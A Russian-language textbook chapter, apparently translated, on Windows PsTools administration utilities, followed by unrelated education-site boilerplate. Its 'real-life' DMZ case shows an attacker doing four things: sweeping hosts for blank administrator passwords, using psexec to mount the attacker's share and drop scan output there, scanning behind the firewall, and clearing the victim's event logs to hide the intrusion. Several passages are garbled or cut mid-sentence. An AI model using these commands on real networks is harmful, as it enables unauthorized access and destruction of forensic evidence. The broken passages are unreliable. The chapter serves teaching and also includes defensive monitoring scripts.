svchost 592 8 33 449 43592 8084 3364
LSASS 240 9 14 307 28080 864 2344
explorer 1200 8 17 468 99580 4460 11912
Получив список процессов, вы можете уничтожить (или подвесить) процесс. Программа PsKill принимает в качестве аргумента или имя процесса или его идентификатор. Если вы точно знаете идентификатор PID, вам может понадобиться использовать PsKill совместно с PsList. С другой стороны, задав процесс по имени, можно удалить больше процессов, чем вы рассчитывали. Оба метода чувствительны к такому типу уязвимости, как "oops" - ошибка в значении PID и случайное удаление ошибочно введенного процесса.
C:\>pslist.exe | findstr /i notepad notepad 1764 8 1 30 1728 0:00:00.020 0:00:00.020 0:00:07.400 notepad 1044 8 1 30 1724 0:00:00.020 0:00:00.020 0:00:05.077 notepad 1796 8 1 30 1724 0:00:00.010 0:00:00.020 0:00:03.835 C:\>pskill.exe 1764 process #1764 killed C:\>pskill.exe notepad 2 processes named notepad killed.
Внимание. Будьте бдительны, удаляя процесс по имени. PsKill выбирает все процессы, а не только тот, который встретится первым. Эффект, сходный с использованием регулярного выражения, вроде звездочки (*).
PsSuspend работает аналогично. Задайте имя процесса или ID после имени команды, чтобы приостановить процесс.
C:\>pssuspend.exe 1116 Process 1116 suspended.
Используйте параметр -r для возобновления работы процесса.
C:\>pssuspend.exe -r 1116 Process 1116 resumed.
NetBIOS не открывает всей системы. Однако существует проблема, связанная с открытым NetBIOS-портом и пустым паролем администратора (мы могли это прекрасно видеть). Используйте PsTools для аудита вашей сети.Журнал PsLogList открыло две возможности: журнал может быть преобразован в текстовый формат и разобран в таблицу другого формата, и журналы могут быть получены удаленно для консолидации, резервирования и сохранения их содержания.
PsLogList отображает содержимое журнала в расширенном или консолидированном форматах, с запятыми вместо PsLogList выводит информацию в расширенном варианте.
C:\>psloglist.exe System log on \\GOBLYNSWOOD: [16554] Dhcp Type: WARNING Computer: GOBLYNSWOOD Time: 3/11/2002 11:01:28 PM ID: 1003 Your computer was not able to renew its address from the network (from the DHCP Server) for the Network Card with network address 00047644DFBF.The following error occurred: The semaphore timeout period has expired. Your computer will continue to try and obtain an address on its own from the network address (DHCP) server.
Вывод в формате с разделителями производится, если воспользоваться параметром -s. Как обычно, пример сокращен для удобства.
C:\>psloglist.exe -s System log on \\GOBLYNSWOOD: 16554,System,Dhcp,WARNING,GOBLYNSWOOD,Mon Mar 11 23:01:28 2002,1003,None,... 16553,System,Application Popup,INFORMATION,GOBLYNSWOOD,Mon Mar 11...
Можно просмотреть любой из трех журналов (
C:\>psloglist.exe -s security Security log on \\GOBLYNSWOOD: 14308,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:49:35 2002,538,Orc\GOBLYNSWOOD,orcGOBLYNSWOOD(0x0,0x119382)3 14307,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:32:00 2002,538,Administrator\GOBLYNSWOOD,AdministratorGOBLYNSWOOD(0x0,0x119513)3
Параметр -f дает возможность фильтровать сообщения о событиях пятью способами: Warning (w), Information (i), Errors (e), Audit Success и Audit Failure. (Символы в скобках представляют собой сокращения, которые воспринимает PsLogList на входе). Два способа аудита применимы только для анализа журнала безопасности и должны вводиться в кавычках.
C:\>psloglist.exe -s -f "Audit Success" Security Security_successes.log
Используйте PsLogList для помощи в управлении вашей политикой сетевого аудита. Хотя эта программа не может переключить установки журнала событий, используйте программу для координации журналов и создания ежедневных, еженедельных или ежемесячных отчетов о своей сети. Надлежащий просмотр журнала поможет не только определить подозрительных пользователей, но и обеспечит
В заключение еще одно замечание: параметр -c очищает системный журнал после того, как он сброшен в текстовый файл. Используйте этот параметр с осторожностью, поскольку вы можете неумышленно очистить системный журнал до того, как сделана его резервная копия.
C:\>psloglist.exe -c Application ...output truncated... Application event log on GOBLYNSWOOD cleared. C:\psloglist.exe Application Application log on \\GOBLYNSWOOD: No records in Application event log on GOBLYNSWOOD.
-c, чтобы очистить журнал и тем самым скрыть свое присутствие.Параметры -a и -b позволяют получить информацию о событиях, происшедших после или до заданной даты, введенной в формате мм/дд/гг. Ниже приведен образец того, как запросить информацию о событиях, относящихся к системе безопасности за предыдущую дату (02/09/02 - текущий день).
C:\>psloglist.exe -a 02/08/02 -b 02/09/02 Security
PsLogList читает журнал в двоичном формате из любой системы. Введите перед именем файла параметр -l. PsLogList определит тип
C:\>psloglist.exe -l Security.evt
PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.
PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).
C:\>psexec.exe \\192.168.0.43 cmd /c dir
Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.
C:\>psexec.exe \\192.168.0.43 ipconfig /all C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\ \backups Rch!ve /u:backup C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd
Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f ). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.
C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o targets.txt 192.168.0.1-192.168.0.255
Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.
Последние три параметра управляют -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.
PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже ( psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).
C:\>psshutdown.exe
PsShutdown v1.01 - Local and remote shutdown/reboot program
Copyright (C) 2000 Mark Russinovich
Sysinternals - www.sysinternals.com
usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer]
-t Specifies countdown in seconds until shutdown (default: 20 seconds)
-m Message to display to logged on users
-f Forces running applications to close
-r Reboot after shutdown
-a Abort a shutdown (only possible while countdown is in progress)
-l Shutdown the local system
\\computer Shutdown the remote computer specified
Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f ; это работает аналогично команде shutdown -c -y из Resource Kit.
Пример из жизни. Проникновение в DMZ
Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.
В любом случае порты NetBIOS между корпоративной сетью и PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.
C:\fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1 139/tcp 192.168.17.1 135/tcp 192.168.17.1 3389/tcp 192.168.17.1 445/tcp 192.168.17.39 80/tcp 192.168.17.39 139/tcp 192.168.17.39 135/tcp 192.168.17.39 445/tcp 192.168.17.148 80/tcp 192.168.17.148 139/tcp 192.168.17.202 445/tcp 192.168.17.239 139/tcp 192.168.17.239 135/tcp 192.168.17.239 445/tcp
Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.
Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.
C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \\192.168.17.%%h systeminfo_192.168.17.%%h.txt
Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (
SP2SRP1: Windows 2000 Security Rollup Package...
Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.
Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.
C:\psexec -u Administrator -p "" \\192.168.17.148 net use * \\10.0.0.99\tools pass /u:user Drive H: is now connected to \\10.0.0.99\tools. The command completed successfully.
Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).
C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255
Посмотрите, что здесь происходит. Fscan копируется на систему-жертву ( -c ); система-жертва запускает fscan и сохраняет отчет ( -o h:\fscan.output ) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.
192.168.17.202 1433/tcp
Взломщик нашел базу данных!
Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.
netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.
C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148
Пример из жизни. Одомашнивание IDS
PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.
Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.
Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).
rem ProcWatch.bat|
rem usage: procwatch.bat IP address username password
:loop
pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt
sleep 60
goto :loop
Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.

Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.
Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.
rem CollectLogs.bat rem usage: CollectLogs.bat username password for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2
Это вспомогательный batch-файл, который выполняет фактическую работу.
rem rotate.bat rem usage: rotate.bat IP address username password rem Stop the Web Service psservice \\%1 -u %2 -p %3 stop w3svc rem Mount the master's file share for dropping off files psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest rem Copy the files from the web server to the master psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\ rem Move the files from the master's dropoff folder to the log folder rem for the web server move C:\shares\dropoff\*.log C:\logs\%1\ rem Disconnect the share psexec \\%1 -u %2 -p %3 net use L: /del rem Restart the Web Service psservice \\%1 -u %2 -p %3 start w3svc
Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.
Для получения официальных документов о завершении программы дополнительного профессионального образования (удостоверения о повышении квалификации, дипломов о профессиональной переподготовке и MBA) необходимо предоставить:
Внимание! Вы можете не заказывать доставку бумажной версии официального документы, а скачать его в электронном виде и распечатать самостоятельно. Информация о выданном документе в течение 1 месяца загружается в Федеральную информационную систему «Федеральный реестр сведений о документах об образовании и (или) о квалификации, документах об обучении» - ФИС ФРДО.
Доступ на новый сайт осуществляется с использованием адреса электронной почты, который был указан вами при регистрации на "старом". Мы постарались перенести все ваши данные с прежнего ресурса, однако не исключена вероятность потери части информации.
При возникновении проблемы со входом, воспользуйтесь функцией сброса пароля
Если вы обнаружите несоответствия, пожалуйста, сообщите нам.